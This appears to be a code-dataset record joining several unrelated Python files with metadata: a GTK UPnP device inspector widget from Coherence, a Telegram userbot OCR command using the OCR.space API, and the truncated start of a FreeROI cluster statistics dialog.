_geticon('upnp-action.png') self.action_arg_in_icon = _geticon('upnp-action-arg-in.png') self.action_arg_out_icon = _geticon('upnp-action-arg-out.png') self.state_variable_icon = _geticon('upnp-state-variable.png') self.store = gtk.TreeStore(int, # 0: type str, # 1: name str, # 2: device udn gtk.gdk.Pixbuf, object ) self.treeview = gtk.TreeView(self.store) self.column = gtk.TreeViewColumn('Devices') self.treeview.append_column(self.column) # create a CellRenderers to render the data icon_cell = gtk.CellRendererPixbuf() text_cell = gtk.CellRendererText() self.column.pack_start(icon_cell, False) self.column.pack_start(text_cell, True) self.column.set_attributes(text_cell, text=1) self.column.add_attribute(icon_cell, "pixbuf", 3) #self.column.set_cell_data_func(self.cellpb, get_icon) self.treeview.connect("button_press_event", self.button_action) self.treeview.connect("row-activated", self.activated) self.treeview.connect("move_cursor", self.moved_cursor) gtk.binding_entry_add_signal(self.treeview, gtk.keysyms.Left, 0, "expand-collapse-cursor-row", bool, False, bool, False, bool, False) gtk.binding_entry_add_signal(self.treeview, gtk.keysyms.Right, 0, "expand-collapse-cursor-row", bool, False, bool, True, bool, False) selection = self.treeview.get_selection() selection.set_mode(gtk.SELECTION_SINGLE) self.window.add(self.treeview) self.windows = {} def _build_run_action_box(self, object, id, row_path): window = gtk.Window() window.set_default_size(350, 300) window.set_title('Invoke Action %s' % object.name) window.connect("delete_event", self.deactivate, id) def build_label(icon, label): hbox = gtk.HBox(homogeneous=False, spacing=10) image = gtk.Image() image.set_from_pixbuf(icon) hbox.pack_start(image, False, False, 2) text = gtk.Label(label) hbox.pack_start(text, False, False, 2) return hbox def build_button(label): hbox = gtk.HBox(homogeneous=False, spacing=10) image = gtk.Image() image.set_from_pixbuf(self.action_icon) hbox.pack_start(image, False, False, 2) text = gtk.Label(label) hbox.pack_start(text, False, False, 2) button = gtk.Button() button.set_flags(gtk.CAN_DEFAULT) button.add(hbox) return button def build_arguments(action, direction): text = gtk.Label("<b>'%s' arguments:</b>'" % direction) text.set_use_markup(True) hbox = gtk.HBox(homogeneous=False, spacing=10) hbox.pack_start(text, False, False, 2) vbox = gtk.VBox(homogeneous=False, spacing=10) vbox.pack_start(hbox, False, False, 2) row = 0 if direction == 'in': arguments = object.get_in_arguments() else: arguments = object.get_out_arguments() table = gtk.Table(rows=len(arguments), columns=2, homogeneous=False) entries = {} for argument in arguments: variable = action.service.get_state_variable( argument.state_variable) name = gtk.Label(argument.name + ':') name.set_alignment(0, 0) #hbox = gtk.HBox(homogeneous=False, spacing=2) #hbox.pack_start(name,False,False,2) table.attach(name, 0, 1, row, row + 1, gtk.SHRINK) if variable.data_type == 'boolean': entry = gtk.CheckButton() if direction == 'in': entries[argument.name] = entry.get_active else: entry.set_sensitive(False) entries[argument.name] = (variable.data_type, entry.set_active) elif variable.data_type == 'string': if direction == 'in' and len(variable.allowed_values) > 0: store = gtk.ListStore(str) for value in variable.allowed_values: store.append((value, )) entry = gtk.ComboBox() text_cell = gtk.CellRendererText() entry.pack_start(text_cell, True) entry.set_attributes(text_cell, text=0) entry.set_model(store) entry.set_active(0) entries[argument.name] = (entry.get_active, entry.get_model) else: if direction == 'in': entry = gtk.Entry(max=0) entries[argument.name] = entry.get_text else: entry = gtk.ScrolledWindow() entry.set_border_width(1) entry.set_shadow_type(gtk.SHADOW_ETCHED_IN) entry.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC) textview = gtk.TextView() textview.set_editable(False) textview.set_wrap_mode(gtk.WRAP_WORD) entry.add(textview) entries[argument.name] = ('text', textview) else: if direction == 'out': entry = gtk.Entry(max=0) entry.set_editable(False) entries[argument.name] = (variable.data_type, entry.set_text) else: adj = gtk.Adjustment(0, 0, 4294967296, 1.0, 50.0, 0.0) entry = gtk.SpinButton(adj, 0, 0) entry.set_numeric(True) entry.set_digits(0) entries[argument.name] = entry.get_value_as_int table.attach(entry, 1, 2, row, row + 1, gtk.FILL | gtk.EXPAND, gtk.FILL | gtk.EXPAND) row += 1 #hbox = gtk.HBox(homogeneous=False, spacing=10) #hbox.pack_start(table,False,False,2) #hbox.show() vbox.pack_start(table, False, False, 2) return vbox, entries vbox = gtk.VBox(homogeneous=False, spacing=10) vbox.pack_start(build_label(self.store[row_path[0]][ICON_COLUMN], self.store[row_path[0]][NAME_COLUMN]), False, False, 2) vbox.pack_start(build_label(self.service_icon, self.store[row_path[0], row_path[1]][NAME_COLUMN]), False, False, 2) vbox.pack_start(build_label(self.action_icon, object.name), False, False, 2) hbox = gtk.HBox(homogeneous=False, spacing=10) hbox.pack_start(vbox, False, False, 2) button = build_button('Invoke') hbox.pack_end(button, False, False, 20) vbox = gtk.VBox(homogeneous=False, spacing=10) vbox.pack_start(hbox, False, False, 2) in_entries = {} out_entries = {} if len(object.get_in_arguments()) > 0: box, in_entries = build_arguments(object, 'in') vbox.pack_start(box, False, False, 2) if len(object.get_out_arguments()) > 0: box, out_entries = build_arguments(object, 'out') vbox.pack_start(box, False, False, 2) window.add(vbox) status_bar = gtk.Statusbar() context_id = status_bar.get_context_id("Action Statusbar") vbox.pack_end(status_bar, False, False, 2) button.connect('clicked', self.call_action, object, in_entries, out_entries, status_bar) window.show_all() self.windows[id] = window def activated(self, view, row_path, column): iter = self.store.get_iter(row_path) if iter: type, object = self.store.get(iter, TYPE_COLUMN, OBJECT_COLUMN) if type == ACTION: id = '@'.join((object.service.device.get_usn(), object.service.service_type, object.name)) try: self.windows[id].show() except: self._build_run_action_box(object, id, row_path) elif type == DEVICE: devtype = device_type(object) if devtype == 'mediaserver': self.mediaserver_browse(None, object) elif devtype == 'mediarenderer': self.mediarenderer_control(None, object) elif devtype == 'internetgatewaydevice': self.igd_control(None, object) else: if view.row_expanded(row_path): view.collapse_row(row_path) else: view.expand_row(row_path, False) def deactivate(self, window, event, id): #print "deactivate",id del self.windows[id] def button_action(self, widget, event): x = int(event.x) y = int(event.y) path = self.treeview.get_path_at_pos(x, y) if path == None: return True row_path, column, _, _ = path if event.button == 3: if self.cb_item_right_click != None: return self.cb_item_right_click(widget, event) else: iter = self.store.get_iter(row_path) type, object = self.store.get(iter, TYPE_COLUMN, OBJECT_COLUMN) if type == DEVICE: menu = gtk.Menu() item = gtk.CheckMenuItem("Show events") item.set_sensitive(False) menu.append(item) item = gtk.CheckMenuItem("Show log") item.set_sensitive(False) menu.append(item) menu.append(gtk.SeparatorMenuItem()) item = gtk.MenuItem("Extract device and service descriptions...") item.connect("activate", self.extract_descriptions, object) menu.append(item) menu.append(gtk.SeparatorMenuItem()) item = gtk.MenuItem("Test device...") item.set_sensitive(False) menu.append(item) devtype = device_type(object) if devtype == 'mediaserver': menu.append(gtk.SeparatorMenuItem()) item = gtk.MenuItem("Browse MediaServer...") item.connect("activate", self.mediaserver_browse, object) menu.append(item) elif devtype == 'mediarenderer': menu.append(gtk.SeparatorMenuItem()) item = gtk.MenuItem("Control MediaRendererer...") item.connect("activate", self.mediarenderer_control, object) menu.append(item) elif devtype == 'internetgatewaydevice': menu.append(gtk.SeparatorMenuItem()) item = gtk.MenuItem("control InternetGatewayDevice") item.connect("activate", self.igd_control, object) menu.append(item) menu.show_all() menu.popup(None, None, None, event.button, event.time) return True elif type == SERVICE: menu = gtk.Menu() item = gtk.CheckMenuItem("Show events") item.set_sensitive(False) menu.append(item) item = gtk.CheckMenuItem("Show log") item.set_sensitive(False) menu.append(item) menu.show_all() menu.popup(None, None, None, event.button, event.time) return True return False elif (event.button == 1 and self.cb_item_left_click != None): reactor.callLater(0.1, self.cb_item_left_click, widget, event) return False return 0 def extract_descriptions(self, widget, device): print "extract xml descriptions", widget, device from extract import Extract id = '@'.join((device.get_usn(), 'DeviceXMlExtract')) try: self.windows[id].show() except: ui = Extract(device) self.windows[id] = ui.window def moved_cursor(self, widget, step, count): reactor.callLater(0.1, self.cb_item_left_click, widget, None) return False def init_controlpoint(self): self.coherence.connect(self.device_found, 'Coherence.UPnP.RootDevice.detection_completed') self.coherence.connect(self.device_removed, 'Coherence.UPnP.RootDevice.removed') for device in self.coherence.devices: self.device_found(device) def call_action(self, widget, action, in_entries, out_entries, status_bar): self.debug("in_entries %r", in_entries) self.debug("out_entries %r", out_entries) context_id = status_bar.get_context_id("Action Statusbar") status_bar.pop(context_id) status_bar.push(context_id, time.strftime("%H:%M:%S") + " - calling " + action.name) kwargs = {} for entry, method in in_entries.items(): if isinstance(method, tuple): kwargs[entry] = unicode(method[1]()[method[0]()][0]) else: value = method() if type(value) == bool: if value == True: kwargs[entry] = '1' else: kwargs[entry] = '0' else: kwargs[entry] = unicode(value) def populate(result, entries): self.info("result %r", result) self.info("entries %r", entries) status_bar.pop(context_id) status_bar.push(context_id, time.strftime("%H:%M:%S") + " - ok") for argument, value in result.items(): type, method = entries[argument] if type == 'boolean': value = means_true(value) if type == 'text': method.get_buffer().set_text(value) continue method(value) def fail(f): self.debug(f) status_bar.pop(context_id) status_bar.push(context_id, time.strftime("%H:%M:%S") + " - fail %s" % f.value) self.info("action %s call %r", action.name, kwargs) d = action.call(**kwargs) d.addCallback(populate, out_entries) d.addErrback(fail) def device_found(self, device=None, row=None): self.info("%s %s %s %s", device.get_friendly_name(), device.get_usn(), device.get_device_type().split(':')[3].lower(), device.get_device_type()) name = '%s (%s)' % (device.get_friendly_name(), ':'.join(device.get_device_type().split(':')[3:5])) item = self.store.append(row, (DEVICE, name, device.get_usn(), self.icons.get(device.get_device_type().split(':')[3].lower(), self.icons['device']), device)) for service in device.services: _, _, _, service_class, version = service.service_type.split(':') service.subscribe() service_item = self.store.append( item, (SERVICE, ':'.join((service_class, version)), service.service_type, self.service_icon, service)) variables_item = self.store.append( service_item, (-1, 'State Variables', '', self.folder_icon, None)) for variable in service.get_state_variables(0).values(): self.store.append( variables_item, (VARIABLE, variable.name, '', self.state_variable_icon, variable)) for action in sorted(service.get_actions().values(), key=lambda a: a.name): action_item = self.store.append( service_item, (ACTION, action.name, '', self.action_icon, action)) for argument in action.get_in_arguments(): self.store.append( action_item, (ARGUMENT, argument.name, '', self.action_arg_in_icon, argument)) for argument in action.get_out_arguments(): self.store.append( action_item, ( ARGUMENT, argument.name, '', self.action_arg_out_icon, argument)) for embedded_device in device.devices: self.device_found(embedded_device, row=item) def device_removed(self, usn=None): self.info('device_removed %r', usn) row_count = 0 for row in self.store: if usn == row[UDN_COLUMN]: ids = [] for w in self.windows.keys(): if w.startswith(usn): ids.append(w) for id in ids: self.windows[id].destroy() del self.windows[id] self.store.remove(self.store.get_iter(row_count)) break row_count += 1 def mediaserver_browse(self, widget, device): from mediaserver import MediaServerWidget id = '@'.join((device.get_usn(), 'MediaServerBrowse')) try: self.windows[id].show() except: ui = MediaServerWidget(self.coherence, device) self.windows[id] = ui.window #ui.cb_item_right_click = self.button_pressed #ui.window.show_all() def mediarenderer_control(self, widget, device): from mediarenderer import MediaRendererWidget id = '@'.join((device.get_usn(), 'MediaRendererControl')) try: self.windows[id].show() except: ui = MediaRendererWidget(self.coherence, device) self.windows[id] = ui.window def igd_control(self, widget, device): from igd import IGDWidget id = '@'.join((device.get_usn(), 'IGDControl')) try: self.windows[id].show() except: ui = IGDWidget(self.coherence, device) self.windows[id] = ui.window
41.744141
124
0.528564
import time import pygtk pygtk.require("2.0") import gtk from twisted.internet import reactor from coherence.base import Coherence from coherence.upnp.core.utils import means_true from coherence import log from ._resources import _geticon TYPE_COLUMN = 0 NAME_COLUMN = 1 UDN_COLUMN = 2 ICON_COLUMN = 3 OBJECT_COLUMN = 4 DEVICE = 0 SERVICE = 1 VARIABLE = 2 ACTION = 3 ARGUMENT = 4 def device_type(object): if object is None: return None return object.get_device_type().split(':')[3].lower() class DevicesWidget(log.Loggable): logCategory = 'inspector' def __init__(self, coherence): self.coherence = coherence self.cb_item_dbl_click = None self.cb_item_left_click = None self.cb_item_right_click = None self.cb_resource_chooser = None self.build_ui() self.init_controlpoint() def build_ui(self): self.window = gtk.ScrolledWindow() self.window.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC) self.icons = {} self.icons['device'] = _geticon('upnp-device.png') self.icons['mediaserver'] = _geticon('network-server.png') self.icons['mediarenderer'] = _geticon('media-renderer.png') self.icons['binarylight'] = _geticon('network-light.png') self.icons['dimmablelight'] = self.icons['binarylight'] self.icons['digitalsecuritycamera'] = _geticon('camera-web.png') self.icons['printer'] = _geticon('printer.png') self.folder_icon = _geticon('folder.png') self.service_icon = _geticon('upnp-service.png') self.action_icon = _geticon('upnp-action.png') self.action_arg_in_icon = _geticon('upnp-action-arg-in.png') self.action_arg_out_icon = _geticon('upnp-action-arg-out.png') self.state_variable_icon = _geticon('upnp-state-variable.png') self.store = gtk.TreeStore(int, str, str, gtk.gdk.Pixbuf, object ) self.treeview = gtk.TreeView(self.store) self.column = gtk.TreeViewColumn('Devices') self.treeview.append_column(self.column) icon_cell = gtk.CellRendererPixbuf() text_cell = gtk.CellRendererText() self.column.pack_start(icon_cell, False) self.column.pack_start(text_cell, True) self.column.set_attributes(text_cell, text=1) self.column.add_attribute(icon_cell, "pixbuf", 3) self.treeview.connect("button_press_event", self.button_action) self.treeview.connect("row-activated", self.activated) self.treeview.connect("move_cursor", self.moved_cursor) gtk.binding_entry_add_signal(self.treeview, gtk.keysyms.Left, 0, "expand-collapse-cursor-row", bool, False, bool, False, bool, False) gtk.binding_entry_add_signal(self.treeview, gtk.keysyms.Right, 0, "expand-collapse-cursor-row", bool, False, bool, True, bool, False) selection = self.treeview.get_selection() selection.set_mode(gtk.SELECTION_SINGLE) self.window.add(self.treeview) self.windows = {} def _build_run_action_box(self, object, id, row_path): window = gtk.Window() window.set_default_size(350, 300) window.set_title('Invoke Action %s' % object.name) window.connect("delete_event", self.deactivate, id) def build_label(icon, label): hbox = gtk.HBox(homogeneous=False, spacing=10) image = gtk.Image() image.set_from_pixbuf(icon) hbox.pack_start(image, False, False, 2) text = gtk.Label(label) hbox.pack_start(text, False, False, 2) return hbox def build_button(label): hbox = gtk.HBox(homogeneous=False, spacing=10) image = gtk.Image() image.set_from_pixbuf(self.action_icon) hbox.pack_start(image, False, False, 2) text = gtk.Label(label) hbox.pack_start(text, False, False, 2) button = gtk.Button() button.set_flags(gtk.CAN_DEFAULT) button.add(hbox) return button def build_arguments(action, direction): text = gtk.Label("<b>'%s' arguments:</b>'" % direction) text.set_use_markup(True) hbox = gtk.HBox(homogeneous=False, spacing=10) hbox.pack_start(text, False, False, 2) vbox = gtk.VBox(homogeneous=False, spacing=10) vbox.pack_start(hbox, False, False, 2) row = 0 if direction == 'in': arguments = object.get_in_arguments() else: arguments = object.get_out_arguments() table = gtk.Table(rows=len(arguments), columns=2, homogeneous=False) entries = {} for argument in arguments: variable = action.service.get_state_variable( argument.state_variable) name = gtk.Label(argument.name + ':') name.set_alignment(0, 0) #hbox = gtk.HBox(homogeneous=False, spacing=2) #hbox.pack_start(name,False,False,2) table.attach(name, 0, 1, row, row + 1, gtk.SHRINK) if variable.data_type == 'boolean': entry = gtk.CheckButton() if direction == 'in': entries[argument.name] = entry.get_active else: entry.set_sensitive(False) entries[argument.name] = (variable.data_type, entry.set_active) elif variable.data_type == 'string': if direction == 'in' and len(variable.allowed_values) > 0: store = gtk.ListStore(str) for value in variable.allowed_values: store.append((value, )) entry = gtk.ComboBox() text_cell = gtk.CellRendererText() entry.pack_start(text_cell, True) entry.set_attributes(text_cell, text=0) entry.set_model(store) entry.set_active(0) entries[argument.name] = (entry.get_active, entry.get_model) else: if direction == 'in': entry = gtk.Entry(max=0) entries[argument.name] = entry.get_text else: entry = gtk.ScrolledWindow() entry.set_border_width(1) entry.set_shadow_type(gtk.SHADOW_ETCHED_IN) entry.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC) textview = gtk.TextView() textview.set_editable(False) textview.set_wrap_mode(gtk.WRAP_WORD) entry.add(textview) entries[argument.name] = ('text', textview) else: if direction == 'out': entry = gtk.Entry(max=0) entry.set_editable(False) entries[argument.name] = (variable.data_type, entry.set_text) else: adj = gtk.Adjustment(0, 0, 4294967296, 1.0, 50.0, 0.0) entry = gtk.SpinButton(adj, 0, 0) entry.set_numeric(True) entry.set_digits(0) entries[argument.name] = entry.get_value_as_int table.attach(entry, 1, 2, row, row + 1, gtk.FILL | gtk.EXPAND, gtk.FILL | gtk.EXPAND) row += 1 #hbox = gtk.HBox(homogeneous=False, spacing=10) #hbox.pack_start(table,False,False,2) #hbox.show() vbox.pack_start(table, False, False, 2) return vbox, entries vbox = gtk.VBox(homogeneous=False, spacing=10) vbox.pack_start(build_label(self.store[row_path[0]][ICON_COLUMN], self.store[row_path[0]][NAME_COLUMN]), False, False, 2) vbox.pack_start(build_label(self.service_icon, self.store[row_path[0], row_path[1]][NAME_COLUMN]), False, False, 2) vbox.pack_start(build_label(self.action_icon, object.name), False, False, 2) hbox = gtk.HBox(homogeneous=False, spacing=10) hbox.pack_start(vbox, False, False, 2) button = build_button('Invoke') hbox.pack_end(button, False, False, 20) vbox = gtk.VBox(homogeneous=False, spacing=10) vbox.pack_start(hbox, False, False, 2) in_entries = {} out_entries = {} if len(object.get_in_arguments()) > 0: box, in_entries = build_arguments(object, 'in') vbox.pack_start(box, False, False, 2) if len(object.get_out_arguments()) > 0: box, out_entries = build_arguments(object, 'out') vbox.pack_start(box, False, False, 2) window.add(vbox) status_bar = gtk.Statusbar() context_id = status_bar.get_context_id("Action Statusbar") vbox.pack_end(status_bar, False, False, 2) button.connect('clicked', self.call_action, object, in_entries, out_entries, status_bar) window.show_all() self.windows[id] = window def activated(self, view, row_path, column): iter = self.store.get_iter(row_path) if iter: type, object = self.store.get(iter, TYPE_COLUMN, OBJECT_COLUMN) if type == ACTION: id = '@'.join((object.service.device.get_usn(), object.service.service_type, object.name)) try: self.windows[id].show() except: self._build_run_action_box(object, id, row_path) elif type == DEVICE: devtype = device_type(object) if devtype == 'mediaserver': self.mediaserver_browse(None, object) elif devtype == 'mediarenderer': self.mediarenderer_control(None, object) elif devtype == 'internetgatewaydevice': self.igd_control(None, object) else: if view.row_expanded(row_path): view.collapse_row(row_path) else: view.expand_row(row_path, False) def deactivate(self, window, event, id): #print "deactivate",id del self.windows[id] def button_action(self, widget, event): x = int(event.x) y = int(event.y) path = self.treeview.get_path_at_pos(x, y) if path == None: return True row_path, column, _, _ = path if event.button == 3: if self.cb_item_right_click != None: return self.cb_item_right_click(widget, event) else: iter = self.store.get_iter(row_path) type, object = self.store.get(iter, TYPE_COLUMN, OBJECT_COLUMN) if type == DEVICE: menu = gtk.Menu() item = gtk.CheckMenuItem("Show events") item.set_sensitive(False) menu.append(item) item = gtk.CheckMenuItem("Show log") item.set_sensitive(False) menu.append(item) menu.append(gtk.SeparatorMenuItem()) item = gtk.MenuItem("Extract device and service descriptions...") item.connect("activate", self.extract_descriptions, object) menu.append(item) menu.append(gtk.SeparatorMenuItem()) item = gtk.MenuItem("Test device...") item.set_sensitive(False) menu.append(item) devtype = device_type(object) if devtype == 'mediaserver': menu.append(gtk.SeparatorMenuItem()) item = gtk.MenuItem("Browse MediaServer...") item.connect("activate", self.mediaserver_browse, object) menu.append(item) elif devtype == 'mediarenderer': menu.append(gtk.SeparatorMenuItem()) item = gtk.MenuItem("Control MediaRendererer...") item.connect("activate", self.mediarenderer_control, object) menu.append(item) elif devtype == 'internetgatewaydevice': menu.append(gtk.SeparatorMenuItem()) item = gtk.MenuItem("control InternetGatewayDevice") item.connect("activate", self.igd_control, object) menu.append(item) menu.show_all() menu.popup(None, None, None, event.button, event.time) return True elif type == SERVICE: menu = gtk.Menu() item = gtk.CheckMenuItem("Show events") item.set_sensitive(False) menu.append(item) item = gtk.CheckMenuItem("Show log") item.set_sensitive(False) menu.append(item) menu.show_all() menu.popup(None, None, None, event.button, event.time) return True return False elif (event.button == 1 and self.cb_item_left_click != None): reactor.callLater(0.1, self.cb_item_left_click, widget, event) return False return 0 def extract_descriptions(self, widget, device): print "extract xml descriptions", widget, device from extract import Extract id = '@'.join((device.get_usn(), 'DeviceXMlExtract')) try: self.windows[id].show() except: ui = Extract(device) self.windows[id] = ui.window def moved_cursor(self, widget, step, count): reactor.callLater(0.1, self.cb_item_left_click, widget, None) return False def init_controlpoint(self): self.coherence.connect(self.device_found, 'Coherence.UPnP.RootDevice.detection_completed') self.coherence.connect(self.device_removed, 'Coherence.UPnP.RootDevice.removed') for device in self.coherence.devices: self.device_found(device) def call_action(self, widget, action, in_entries, out_entries, status_bar): self.debug("in_entries %r", in_entries) self.debug("out_entries %r", out_entries) context_id = status_bar.get_context_id("Action Statusbar") status_bar.pop(context_id) status_bar.push(context_id, time.strftime("%H:%M:%S") + " - calling " + action.name) kwargs = {} for entry, method in in_entries.items(): if isinstance(method, tuple): kwargs[entry] = unicode(method[1]()[method[0]()][0]) else: value = method() if type(value) == bool: if value == True: kwargs[entry] = '1' else: kwargs[entry] = '0' else: kwargs[entry] = unicode(value) def populate(result, entries): self.info("result %r", result) self.info("entries %r", entries) status_bar.pop(context_id) status_bar.push(context_id, time.strftime("%H:%M:%S") + " - ok") for argument, value in result.items(): type, method = entries[argument] if type == 'boolean': value = means_true(value) if type == 'text': method.get_buffer().set_text(value) continue method(value) def fail(f): self.debug(f) status_bar.pop(context_id) status_bar.push(context_id, time.strftime("%H:%M:%S") + " - fail %s" % f.value) self.info("action %s call %r", action.name, kwargs) d = action.call(**kwargs) d.addCallback(populate, out_entries) d.addErrback(fail) def device_found(self, device=None, row=None): self.info("%s %s %s %s", device.get_friendly_name(), device.get_usn(), device.get_device_type().split(':')[3].lower(), device.get_device_type()) name = '%s (%s)' % (device.get_friendly_name(), ':'.join(device.get_device_type().split(':')[3:5])) item = self.store.append(row, (DEVICE, name, device.get_usn(), self.icons.get(device.get_device_type().split(':')[3].lower(), self.icons['device']), device)) for service in device.services: _, _, _, service_class, version = service.service_type.split(':') service.subscribe() service_item = self.store.append( item, (SERVICE, ':'.join((service_class, version)), service.service_type, self.service_icon, service)) variables_item = self.store.append( service_item, (-1, 'State Variables', '', self.folder_icon, None)) for variable in service.get_state_variables(0).values(): self.store.append( variables_item, (VARIABLE, variable.name, '', self.state_variable_icon, variable)) for action in sorted(service.get_actions().values(), key=lambda a: a.name): action_item = self.store.append( service_item, (ACTION, action.name, '', self.action_icon, action)) for argument in action.get_in_arguments(): self.store.append( action_item, (ARGUMENT, argument.name, '', self.action_arg_in_icon, argument)) for argument in action.get_out_arguments(): self.store.append( action_item, ( ARGUMENT, argument.name, '', self.action_arg_out_icon, argument)) for embedded_device in device.devices: self.device_found(embedded_device, row=item) def device_removed(self, usn=None): self.info('device_removed %r', usn) row_count = 0 for row in self.store: if usn == row[UDN_COLUMN]: ids = [] for w in self.windows.keys(): if w.startswith(usn): ids.append(w) for id in ids: self.windows[id].destroy() del self.windows[id] self.store.remove(self.store.get_iter(row_count)) break row_count += 1 def mediaserver_browse(self, widget, device): from mediaserver import MediaServerWidget id = '@'.join((device.get_usn(), 'MediaServerBrowse')) try: self.windows[id].show() except: ui = MediaServerWidget(self.coherence, device) self.windows[id] = ui.window #ui.cb_item_right_click = self.button_pressed #ui.window.show_all() def mediarenderer_control(self, widget, device): from mediarenderer import MediaRendererWidget id = '@'.join((device.get_usn(), 'MediaRendererControl')) try: self.windows[id].show() except: ui = MediaRendererWidget(self.coherence, device) self.windows[id] = ui.window def igd_control(self, widget, device): from igd import IGDWidget id = '@'.join((device.get_usn(), 'IGDControl')) try: self.windows[id].show() except: ui = IGDWidget(self.coherence, device) self.windows[id] = ui.window
false
true
f7f3cf93bb85becd454a77bed907b02edd6cbd5c
2,499
py
Python
userbot/modules/ocr.py
jefa2231/jefanyastore
d66cc8d85a4b6a177905ba3b22cc10e9ea02607b
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
userbot/modules/ocr.py
jefa2231/jefanyastore
d66cc8d85a4b6a177905ba3b22cc10e9ea02607b
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
userbot/modules/ocr.py
jefa2231/jefanyastore
d66cc8d85a4b6a177905ba3b22cc10e9ea02607b
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
# Copyright (C) 2019 The Raphielscape Company LLC. # # Licensed under the Raphielscape Public License, Version 1.c (the "License"); # you may not use this file except in compliance with the License. from telethon import events import os import requests import logging from userbot import bot, OCR_SPACE_API_KEY, CMD_HELP, TEMP_DOWNLOAD_DIRECTORY from userbot.events import register async def ocr_space_file( filename, overlay=False, api_key=OCR_SPACE_API_KEY, language="eng" ): """ OCR.space API request with local file. Python3.5 - not tested on 2.7 :param filename: Your file path & name. :param overlay: Is OCR.space overlay required in your response. Defaults to False. :param api_key: OCR.space API key. Defaults to 'helloworld'. :param language: Language code to be used in OCR. List of available language codes can be found on https://ocr.space/OCRAPI Defaults to 'en'. :return: Result in JSON format. """ payload = { "isOverlayRequired": overlay, "apikey": api_key, "language": language, } with open(filename, "rb") as f: r = requests.post( "https://api.ocr.space/parse/image", files={filename: f}, data=payload, ) return r.json() @register(pattern=r".ocr (.*)", outgoing=True) async def ocr(event): if not OCR_SPACE_API_KEY: return await event.edit( "`Error: OCR.Space API key is missing! Add it to environment variables or config.env.`" ) await event.edit("`Reading...`") if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): os.makedirs(TEMP_DOWNLOAD_DIRECTORY) lang_code = event.pattern_match.group(1) downloaded_file_name = await bot.download_media( await event.get_reply_message(), TEMP_DOWNLOAD_DIRECTORY ) test_file = await ocr_space_file(filename=downloaded_file_name, language=lang_code) try: ParsedText = test_file["ParsedResults"][0]["ParsedText"] except BaseException: await event.edit("`Couldn't read it.`\n`I guess I need new glasses.`") else: await event.edit(f"`Here's what I could read from it:`\n\n{ParsedText}") os.remove(downloaded_file_name) CMD_HELP.update( { "ocr": ">`.ocr <language>`" "\nUsage: Reply to an image or sticker to extract text from it." "\n\nGet language codes from [here](https://ocr.space/OCRAPI#PostParameters)" } )
34.708333
99
0.659064
from telethon import events import os import requests import logging from userbot import bot, OCR_SPACE_API_KEY, CMD_HELP, TEMP_DOWNLOAD_DIRECTORY from userbot.events import register async def ocr_space_file( filename, overlay=False, api_key=OCR_SPACE_API_KEY, language="eng" ): payload = { "isOverlayRequired": overlay, "apikey": api_key, "language": language, } with open(filename, "rb") as f: r = requests.post( "https://api.ocr.space/parse/image", files={filename: f}, data=payload, ) return r.json() @register(pattern=r".ocr (.*)", outgoing=True) async def ocr(event): if not OCR_SPACE_API_KEY: return await event.edit( "`Error: OCR.Space API key is missing! Add it to environment variables or config.env.`" ) await event.edit("`Reading...`") if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): os.makedirs(TEMP_DOWNLOAD_DIRECTORY) lang_code = event.pattern_match.group(1) downloaded_file_name = await bot.download_media( await event.get_reply_message(), TEMP_DOWNLOAD_DIRECTORY ) test_file = await ocr_space_file(filename=downloaded_file_name, language=lang_code) try: ParsedText = test_file["ParsedResults"][0]["ParsedText"] except BaseException: await event.edit("`Couldn't read it.`\n`I guess I need new glasses.`") else: await event.edit(f"`Here's what I could read from it:`\n\n{ParsedText}") os.remove(downloaded_file_name) CMD_HELP.update( { "ocr": ">`.ocr <language>`" "\nUsage: Reply to an image or sticker to extract text from it." "\n\nGet language codes from [here](https://ocr.space/OCRAPI#PostParameters)" } )
true
true
f7f3d031aa2a48c48cb2e54de6f495bb2f8f94e0
4,128
py
Python
froi/gui/component/clusterstatsdialog.py
zhouguangfu/FreeROI
0605c2a0fe2457e3703a4a7548299fc2c1e9aca0
[ "BSD-3-Clause" ]
null
null
null
froi/gui/component/clusterstatsdialog.py
zhouguangfu/FreeROI
0605c2a0fe2457e3703a4a7548299fc2c1e9aca0
[ "BSD-3-Clause" ]
null
null
null
froi/gui/component/clusterstatsdialog.py
zhouguangfu/FreeROI
0605c2a0fe2457e3703a4a7548299fc2c1e9aca0
[ "BSD-3-Clause" ]
null
null
null
# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*- # vi: set ft=python sts=4 ts=4 sw=4 et: from PyQt4.QtCore import * from PyQt4.QtGui import * from froi.io import csv class ClusterStatsDialog(QDialog): """A dialog for reporting cluster stats.""" def __init__(self, cluster_info, parent=None): super(ClusterStatsDialog, self).__init__(parent) self._cluster_info = cluster_info self.setWindowModality(Qt.NonModal) self.setWindowFlags(Qt.Tool | \ Qt.CustomizeWindowHint | \ Qt.WindowTitleHint) self._init_gui() self._create_actions() def _init_gui(self): """Initialize GUI.""" # set dialog title self.setWindowTitle("Cluster Stats") # initialize widgets scroll_content = QWidget() cluster_idx = QLabel("Index") cluster_idx.setAlignment(Qt.AlignCenter) peak_val = QLabel("Peak") peak_val.setAlignment(Qt.AlignCenter) peak_coord_x = QLabel("Peak_X") peak_coord_x.setAlignment(Qt.AlignCenter) peak_coord_y = QLabel("Peak_Y") peak_coord_y.setAlignment(Qt.AlignCenter) peak_coord_z = QLabel("Peak_Z") peak_coord_z.setAlignment(Qt.AlignCenter) cluster_extent = QLabel("Size") cluster_extent.setAlignment(Qt.AlignCenter) # layout config grid_layout = QGridLayout() grid_layout.addWidget(cluster_idx, 0, 0) grid_layout.addWidget(peak_val, 0, 1) grid_layout.addWidget(peak_coord_x, 0, 2) grid_layout.addWidget(peak_coord_y, 0, 3) grid_layout.addWidget(peak_coord_z, 0, 4) grid_layout.addWidget(cluster_extent, 0, 5) # add cluster information row_idx = 1 for line in self._cluster_info: idx = QLabel(str(line[0])) idx.setAlignment(Qt.AlignCenter) peak_val = QLabel(str(line[1])) peak_val.setAlignment(Qt.AlignCenter) coord_x = QLabel(str(line[2])) coord_x.setAlignment(Qt.AlignCenter) coord_y = QLabel(str(line[3])) coord_y.setAlignment(Qt.AlignCenter) coord_z = 